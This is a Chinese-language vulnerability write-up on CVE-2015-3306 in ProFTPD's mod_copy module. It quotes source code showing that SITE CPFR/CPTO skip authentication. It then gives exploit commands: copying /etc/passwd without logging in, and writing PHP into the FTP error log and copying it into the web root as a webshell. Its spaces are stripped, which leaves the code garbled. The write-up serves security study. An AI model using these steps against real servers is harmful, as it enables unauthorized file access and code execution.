该漏洞原标题为UnauthenticatedcopyingoffilesviaSITECPFR/CPTOallowedbymod_copy,意为mod_copy模块允许通过SITECPFR/CPTO命令来实现未授权的文件拷贝,编号CVE-2015-3306。
漏洞分析
本次漏洞发生在mod_copy模块,该模块中,对于执行CPFR和CPTO命令的函数并未进行身份认证,现在看下正常的身份认证代码,在\contrib\mod_copy.c第477行。
MODRETcopy_copy(cmd_rec*cmd){ if(cmd-argc2){ returnPR_DECLINED(cmd); } if(strncasecmp(cmd-argv[1],COPY,5)==0){ char*cmd_name,*from,*to; unsignedchar*authenticated; if(cmd-argc!=4){ returnPR_DECLINED(cmd); } authenticated=get_param_ptr(cmd-server-conf,authenticated,FALSE); if(authenticated==NULL|| *authenticated==FALSE){ pr_response_add_err(R_530,_(PleaseloginwithUSERandPASS)); returnPR_ERROR(cmd); }
从代码段中不难看出,authenticated代表了身份认证的结果,如果该值不为真的时候,则会弹出提示“pleaselogin…”,接下来再看此次出现问题的函数,代码在\contrib\mod_copy.c第594行。
MODRETcopy_cpto(cmd_rec*cmd){ registerunsignedinti; char*from,*to=; if(cmd-argc3|| strncasecmp(cmd-argv[1],CPTO,5)!=0){ returnPR_DECLINED(cmd); } CHECK_CMD_MIN_ARGS(cmd,3); from=pr_table_get(session.notes,mod_copy.cpfr-path,NULL); if(from==NULL){ pr_response_add_err(R_503,_(Badsequenceofcommands)); returnPR_ERROR(cmd); } /*Constructthetargetfilenamebyconcatenatingalltheparametersafter *theSITECPTO,separatingthemwithspaces. */ for(i=2;i=cmd-argc-1;i++){ to=pstrcat(cmd-tmp_pool,to,*to?:, pr_fs_decode_path(cmd-tmp_pool,cmd-argv[i]),NULL); } to=dir_canonical_vpath(cmd-tmp_pool,to); if(copy_paths(cmd-tmp_pool,from,to)0){ intxerrno=errno; pr_response_add_err(R_550,%s:%s,cmd-argv[1],strerror(xerrno)); errno=xerrno; returnPR_ERROR(cmd); } pr_response_add(R_250,%s,_(Copysuccessful)); returnPR_HANDLED(cmd); }
copy_cpto函数即为执行SITECPTO时调用的函数,在该函数中,并未存在任何身份认证代码,即在未进行身份认证也就是未登录的情况下,可以使用该函数,而SITECPFR命令同理,均为进行身份认证。两个命令配合起来,即可实现文件的拷贝和移动。
漏洞利用
nc链接目标IP端口,如ncxx.xx.xx.xx21,即可输入命令进行操作。首先演示移动文件,执行如下命令即可将passwd文件移动到tmp目录。
sitecpfr/etc/passwd
sitecpto/tmp/Stefanie
当服务器开放了Web服务,并且猜到Web目录的情况下,可以通过如下方式,拷贝webshell到Web目录。
sitecpfr/etc/passwd sitecpto?phpphpinfo();? sitecpfr/proc/self/fd/3 sitecpto/var/www/test.php “sitecpto?phpphpinfo();?”用于故意创建一个错误的使用方式,此操作会将php代码写入proftpd的错误日志,后面则是将该文件复制到web目录。此时php文件的内容如下: 2015-04-0402:01:13,159slon-P5Qproftpd[16255]slon-P5Q (slon-P5Q.lan[192.168.3.193]):errorrewindingscoreboard:Invalidargument 2015-04-0402:01:13,159slon-P5Qproftpd[16255]slon-P5Q (slon-P5Q.lan[192.168.3.193]):FTPsessionopened. 2015-04-0402:01:27,943slon-P5Qproftpd[16255]slon-P5Q (slon-P5Q.lan[192.168.3.193]):erroropeningdestinationfile/?php phpinfo();?forcopying:Permissiondenied
影响范围
2011-11-09的proftpd-1.3.4到2014-05-15的proftpd-1.3.5。
CentOS编译安装需使用配置./configure--with-modules=mod_copy,否则会不存在该模块,测试时修改后使用yuminstall也并不存在该模块;Ubuntu默认apt-getinstall即存在该漏洞。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。